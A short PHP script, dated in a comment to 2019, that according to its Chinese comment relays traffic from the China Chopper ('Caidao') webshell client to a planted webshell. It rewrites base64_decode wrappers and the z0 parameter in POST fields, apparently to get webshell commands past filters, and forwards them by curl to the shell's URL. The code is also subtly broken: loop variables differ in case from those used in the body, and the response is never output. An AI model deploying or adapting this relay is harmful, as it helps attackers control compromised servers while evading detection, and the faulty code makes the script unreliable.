<?php
$target="url";//shell 地址 菜刀连这个脚本做中转
$post='';
$i=0;
foreach($_POST AS $K=>$V)
{
if(strstr($v,"base64_decode"))
{
$v=str_replace("base64_decode(","",$v);
$v=str_replace("))",")",$v);
}
else
{
if($k==="z0")
{$v=base64_decode($v);}
}
$pp=$k."=".urlencode($v);
if($i!=0)
{
$post=$post."&".$pp;
}
else
{
$post=$pp;
}
$i+=1;
}
$ch=curl_init();
$curl_url=$target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch,CURLOPT_URL,$curl_url);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$RESULT= curl_exec($ch);//z
curl_close($ch);
//2019-6-16
?>